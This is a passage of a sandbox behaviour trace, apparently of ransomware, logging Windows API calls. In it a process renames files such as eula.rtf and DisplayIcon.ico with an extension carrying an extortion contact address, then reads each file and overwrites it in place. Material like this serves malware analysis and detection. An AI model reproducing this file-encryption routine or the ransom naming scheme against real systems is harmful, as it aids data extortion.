Sleep (dwMilliseconds=0x1) [0080.820] Sleep (dwMilliseconds=0x1) [0080.836] Sleep (dwMilliseconds=0x1) [0080.847] Sleep (dwMilliseconds=0x1) [0080.888] Sleep (dwMilliseconds=0x1) [0080.918] Sleep (dwMilliseconds=0x1) [0080.943] Sleep (dwMilliseconds=0x1) [0080.956] Sleep (dwMilliseconds=0x1) [0080.979] Sleep (dwMilliseconds=0x1) [0080.988] Sleep (dwMilliseconds=0x1) [0081.006] Sleep (dwMilliseconds=0x1) [0081.016] Sleep (dwMilliseconds=0x1) [0081.039] Sleep (dwMilliseconds=0x1) [0081.047] Sleep (dwMilliseconds=0x1) [0081.288] Sleep (dwMilliseconds=0x1) [0081.437] Sleep (dwMilliseconds=0x1) [0081.527] Sleep (dwMilliseconds=0x1) [0081.541] Sleep (dwMilliseconds=0x1) [0081.558] Sleep (dwMilliseconds=0x1) [0081.565] Sleep (dwMilliseconds=0x1) [0081.581] Sleep (dwMilliseconds=0x1) [0081.600] Sleep (dwMilliseconds=0x1) [0081.612] Sleep (dwMilliseconds=0x1) [0081.629] Sleep (dwMilliseconds=0x1) [0081.664] Sleep (dwMilliseconds=0x1) [0081.683] Sleep (dwMilliseconds=0x1) [0081.691] Sleep (dwMilliseconds=0x1) [0081.710] Sleep (dwMilliseconds=0x1) [0081.757] Sleep (dwMilliseconds=0x1) [0081.776] Sleep (dwMilliseconds=0x1) [0081.788] Sleep (dwMilliseconds=0x1) [0081.833] Sleep (dwMilliseconds=0x1) [0081.848] Sleep (dwMilliseconds=0x1) [0081.886] Sleep (dwMilliseconds=0x1) [0081.892] Sleep (dwMilliseconds=0x1) [0081.911] Sleep (dwMilliseconds=0x1) [0081.926] Sleep (dwMilliseconds=0x1) [0081.943] Sleep (dwMilliseconds=0x1) [0081.966] Sleep (dwMilliseconds=0x1) [0081.988] Sleep (dwMilliseconds=0x1) [0082.002] Sleep (dwMilliseconds=0x1) [0082.037] Sleep (dwMilliseconds=0x1) [0082.049] Sleep (dwMilliseconds=0x1) [0082.069] Sleep (dwMilliseconds=0x1) [0082.111] Sleep (dwMilliseconds=0x1) [0082.134] Sleep (dwMilliseconds=0x1) [0082.149] Sleep (dwMilliseconds=0x1) [0082.159] Sleep (dwMilliseconds=0x1) [0082.193] Sleep (dwMilliseconds=0x1) [0082.216] Sleep (dwMilliseconds=0x1) [0082.231] Sleep (dwMilliseconds=0x1) [0082.260] Sleep (dwMilliseconds=0x1) [0082.275] Sleep (dwMilliseconds=0x1) [0082.296] Sleep (dwMilliseconds=0x1) [0082.307] Sleep (dwMilliseconds=0x1) [0082.372] Sleep (dwMilliseconds=0x1) [0082.416] Sleep (dwMilliseconds=0x1) [0082.542] Sleep (dwMilliseconds=0x1) [0082.586] Sleep (dwMilliseconds=0x1) [0082.638] Sleep (dwMilliseconds=0x1) [0082.682] Sleep (dwMilliseconds=0x1) [0082.730] Sleep (dwMilliseconds=0x1) [0082.775] Sleep (dwMilliseconds=0x1) [0082.823] Sleep (dwMilliseconds=0x1) [0082.869] Sleep (dwMilliseconds=0x1) [0082.917] Sleep (dwMilliseconds=0x1) [0082.967] Sleep (dwMilliseconds=0x1) [0083.017] Sleep (dwMilliseconds=0x1) [0083.054] Sleep (dwMilliseconds=0x1) [0083.105] Sleep (dwMilliseconds=0x1) [0083.149] Sleep (dwMilliseconds=0x1) [0083.202] Sleep (dwMilliseconds=0x1) [0083.241] Sleep (dwMilliseconds=0x1) [0083.294] Sleep (dwMilliseconds=0x1) [0083.336] Sleep (dwMilliseconds=0x1) [0083.387] Sleep (dwMilliseconds=0x1) [0083.435] Sleep (dwMilliseconds=0x1) [0083.704] Sleep (dwMilliseconds=0x1) [0083.750] Sleep (dwMilliseconds=0x1) [0083.803] Sleep (dwMilliseconds=0x1) [0083.911] Sleep (dwMilliseconds=0x1) [0084.014] Sleep (dwMilliseconds=0x1) [0084.091] Sleep (dwMilliseconds=0x1) [0084.203] Sleep (dwMilliseconds=0x1) [0084.342] Sleep (dwMilliseconds=0x1) [0084.739] Sleep (dwMilliseconds=0x1) [0084.810] Sleep (dwMilliseconds=0x1) [0084.878] Sleep (dwMilliseconds=0x1) [0084.959] Sleep (dwMilliseconds=0x1) [0085.047] Sleep (dwMilliseconds=0x1) [0085.124] Sleep (dwMilliseconds=0x1) [0085.178] Sleep (dwMilliseconds=0x1) [0085.345] Sleep (dwMilliseconds=0x1) [0085.391] Sleep (dwMilliseconds=0x1) [0085.735] Sleep (dwMilliseconds=0x1) [0085.832] Sleep (dwMilliseconds=0x1) [0085.962] Sleep (dwMilliseconds=0x1) [0086.078] Sleep (dwMilliseconds=0x1) [0086.192] Sleep (dwMilliseconds=0x1) [0086.232] Sleep (dwMilliseconds=0x1) [0086.298] Sleep (dwMilliseconds=0x1) [0086.347] Sleep (dwMilliseconds=0x1) [0086.593] Sleep (dwMilliseconds=0x1) [0086.892] Sleep (dwMilliseconds=0x1) [0087.096] Sleep (dwMilliseconds=0x1) [0087.322] SysReAllocStringLen (in: pbstr=0x4e7ff7c*=0x0, psz="C:\\588bce7c90097ed212\\1028\\eula.rtf", len=0x23 | out: pbstr=0x4e7ff7c*="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 1 [0087.322] GetProcessHeap () returned 0x630000 [0087.322] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0418, Size=0x10) returned 0x6b1388 [0087.450] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x680 [0087.450] CloseHandle (hObject=0x680) returned 1 [0087.450] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0087.450] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0087.464] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0087.464] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fc6c | out: lpFindFileData=0x4e7fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EULART~1.FIR")) returned 0x6d4ec0 [0087.464] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0087.465] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x680 [0087.465] GetProcessHeap () returned 0x630000 [0087.465] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x18c1) returned 0x6ec728 [0087.465] GetProcessHeap () returned 0x630000 [0087.465] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x18c1) returned 0x6edff8 [0087.465] SetFilePointerEx (in: hFile=0x680, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.465] ReadFile (in: hFile=0x680, lpBuffer=0x6ec728, nNumberOfBytesToRead=0x18a0, lpNumberOfBytesRead=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ec728*, lpNumberOfBytesRead=0x4e7ff0c*=0x18a0, lpOverlapped=0x0) returned 1 [0087.506] GetProcessHeap () returned 0x630000 [0087.506] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8dc0 [0087.506] SetFilePointerEx (in: hFile=0x680, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.506] WriteFile (in: hFile=0x680, lpBuffer=0x6edff8*, nNumberOfBytesToWrite=0x18a0, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6edff8*, lpNumberOfBytesWritten=0x4e7ff0c*=0x18a0, lpOverlapped=0x0) returned 1 [0087.507] SetFilePointerEx (in: hFile=0x680, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.507] WriteFile (in: hFile=0x680, lpBuffer=0x6ef897*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ef897*, lpNumberOfBytesWritten=0x4e7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0087.507] SetFilePointerEx (in: hFile=0x680, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.507] WriteFile (in: hFile=0x680, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4e7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0087.507] CloseHandle (hObject=0x680) returned 1 [0087.508] GetProcessHeap () returned 0x630000 [0087.508] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6edff8 | out: hHeap=0x630000) returned 1 [0087.508] GetProcessHeap () returned 0x630000 [0087.508] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ec728 | out: hHeap=0x630000) returned 1 [0087.508] GetProcessHeap () returned 0x630000 [0087.508] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8dc0 | out: hHeap=0x630000) returned 1 [0087.508] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0087.508] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fcc4 | out: lpFindFileData=0x4e7fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0xfa1a6849, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x18c9, dwReserved0=0xbc87496, dwReserved1=0x6ec720, cFileName="eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EULART~1.FIR")) returned 0x6d51c0 [0087.508] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0087.508] Sleep (dwMilliseconds=0x1) [0089.110] Sleep (dwMilliseconds=0x1) [0090.315] SysReAllocStringLen (in: pbstr=0x4e7ff7c*=0x0, psz="C:\\588bce7c90097ed212\\1046\\eula.rtf", len=0x23 | out: pbstr=0x4e7ff7c*="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 1 [0090.315] GetProcessHeap () returned 0x630000 [0090.315] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0418, Size=0x14) returned 0x6b04f8 [0090.315] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ac [0090.315] CloseHandle (hObject=0x6ac) returned 1 [0090.315] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0090.315] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0090.316] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0090.316] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fc6c | out: lpFindFileData=0x4e7fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe63, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EULART~1.FIR")) returned 0x6d53c0 [0090.316] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0090.316] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ac [0090.316] GetProcessHeap () returned 0x630000 [0090.316] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe81) returned 0x6f905f8 [0090.316] GetProcessHeap () returned 0x630000 [0090.316] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe81) returned 0x72cf38 [0090.316] SetFilePointerEx (in: hFile=0x6ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.316] ReadFile (in: hFile=0x6ac, lpBuffer=0x6f905f8, nNumberOfBytesToRead=0xe60, lpNumberOfBytesRead=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f905f8*, lpNumberOfBytesRead=0x4e7ff0c*=0xe60, lpOverlapped=0x0) returned 1 [0090.447] GetProcessHeap () returned 0x630000 [0090.447] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8960 [0090.447] SetFilePointerEx (in: hFile=0x6ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.447] WriteFile (in: hFile=0x6ac, lpBuffer=0x72cf38*, nNumberOfBytesToWrite=0xe60, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72cf38*, lpNumberOfBytesWritten=0x4e7ff0c*=0xe60, lpOverlapped=0x0) returned 1 [0090.447] SetFilePointerEx (in: hFile=0x6ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.447] WriteFile (in: hFile=0x6ac, lpBuffer=0x72dd97*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72dd97*, lpNumberOfBytesWritten=0x4e7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0090.447] SetFilePointerEx (in: hFile=0x6ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.447] WriteFile (in: hFile=0x6ac, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4e7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0090.447] CloseHandle (hObject=0x6ac) returned 1 [0090.448] GetProcessHeap () returned 0x630000 [0090.448] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72cf38 | out: hHeap=0x630000) returned 1 [0090.448] GetProcessHeap () returned 0x630000 [0090.448] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f905f8 | out: hHeap=0x630000) returned 1 [0090.448] GetProcessHeap () returned 0x630000 [0090.448] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8960 | out: hHeap=0x630000) returned 1 [0090.448] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0090.448] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fcc4 | out: lpFindFileData=0x4e7fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0xfbdd0684, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0xe87, dwReserved0=0xbc87496, dwReserved1=0x6f905f0, cFileName="eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EULART~1.FIR")) returned 0x6d5040 [0090.449] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0090.449] Sleep (dwMilliseconds=0x1) [0090.463] Sleep (dwMilliseconds=0x1) [0090.478] Sleep (dwMilliseconds=0x1) [0090.494] Sleep (dwMilliseconds=0x1) [0090.509] Sleep (dwMilliseconds=0x1) [0090.525] Sleep (dwMilliseconds=0x1) [0090.541] Sleep (dwMilliseconds=0x1) [0090.557] Sleep (dwMilliseconds=0x1) [0090.572] Sleep (dwMilliseconds=0x1) [0090.714] Sleep (dwMilliseconds=0x1) [0090.728] Sleep (dwMilliseconds=0x1) [0090.753] Sleep (dwMilliseconds=0x1) [0090.760] Sleep (dwMilliseconds=0x1) [0090.777] Sleep (dwMilliseconds=0x1) [0090.791] Sleep (dwMilliseconds=0x1) [0090.807] Sleep (dwMilliseconds=0x1) [0090.822] Sleep (dwMilliseconds=0x1) [0090.838] Sleep (dwMilliseconds=0x1) [0090.853] Sleep (dwMilliseconds=0x1) [0090.869] Sleep (dwMilliseconds=0x1) [0090.885] Sleep (dwMilliseconds=0x1) [0090.900] Sleep (dwMilliseconds=0x1) [0090.916] Sleep (dwMilliseconds=0x1) [0090.933] Sleep (dwMilliseconds=0x1) [0090.947] Sleep (dwMilliseconds=0x1) [0090.963] Sleep (dwMilliseconds=0x1) [0090.978] Sleep (dwMilliseconds=0x1) [0090.994] Sleep (dwMilliseconds=0x1) [0091.013] Sleep (dwMilliseconds=0x1) [0092.151] Sleep (dwMilliseconds=0x1) [0093.962] SysReAllocStringLen (in: pbstr=0x4e7ff7c*=0x0, psz="C:\\588bce7c90097ed212\\DisplayIcon.ico", len=0x25 | out: pbstr=0x4e7ff7c*="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 1 [0093.962] GetProcessHeap () returned 0x630000 [0093.962] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66c1b0, Size=0x2c) returned 0x66c728 [0093.962] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0093.962] CloseHandle (hObject=0x69c) returned 1 [0093.962] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0093.962] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), lpNewFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0093.963] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.963] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fc6c | out: lpFindFileData=0x4e7fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x159d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayIcon.ico.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DISPLA~1.FIR")) returned 0x6d5340 [0093.963] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0093.963] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0093.964] GetProcessHeap () returned 0x630000 [0093.964] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f91da0 [0093.964] GetProcessHeap () returned 0x630000 [0093.964] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f9d1d0 [0093.964] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.964] ReadFile (in: hFile=0x69c, lpBuffer=0x6f91da0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f91da0*, lpNumberOfBytesRead=0x4e7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0100.925] GetProcessHeap () returned 0x630000 [0100.925] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee4e0 [0100.926] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.926] WriteFile (in: hFile=0x69c, lpBuffer=0x6f9d1d0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f9d1d0*, lpNumberOfBytesWritten=0x4e7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0100.929] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.929] WriteFile (in: hFile=0x69c, lpBuffer=0x6fa85cf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa85cf*, lpNumberOfBytesWritten=0x4e7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0100.930] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.930] WriteFile (in: hFile=0x69c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4e7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0100.930] CloseHandle (hObject=0x69c) returned 1 [0100.932] GetProcessHeap () returned 0x630000 [0100.932] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f9d1d0 | out: hHeap=0x630000) returned 1 [0100.932] GetProcessHeap () returned 0x630000 [0100.932] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f91da0 | out: hHeap=0x630000) returned 1 [0100.933] GetProcessHeap () returned 0x630000 [0100.933] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee4e0 | out: hHeap=0x630000) returned 1 [0100.933] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0100.933] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fcc4 | out: lpFindFileData=0x4e7fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x21ab3bb, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x159f9, dwReserved0=0xbc87496, dwReserved1=0x6f91d98, cFileName="DisplayIcon.ico.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DISPLA~1.FIR")) returned 0x6d5080 [0100.933] FindClose (in: hFindFile=0x6d5080 | out: hFindFile=0x6d5080) returned 1 [0100.933] Sleep (dwMilliseconds=0x1) [0101.617] Sleep (dwMilliseconds=0x1) [0102.216] Sleep (dwMilliseconds=0x1) [0102.431] Sleep (dwMilliseconds=0x1) [0102.616] Sleep (dwMilliseconds=0x1) [0102.886] Sleep (dwMilliseconds=0x1) [0102.999] Sleep (dwMilliseconds=0x1) [0103.185] Sleep (dwMilliseconds=0x1) [0103.304] Sleep (dwMilliseconds=0x1) [0103.549] Sleep (dwMilliseconds=0x1) [0104.656] SysReAllocStringLen (in: pbstr=0x4e7ff7c*=0x0, psz="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx", len=0x52 | out: pbstr=0x4e7ff7c*="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 1 [0104.656] GetProcessHeap () returned 0x630000 [0104.656] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d5240, Size=0x30) returned 0x6ed6118 [0104.656] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0104.656] CloseHandle 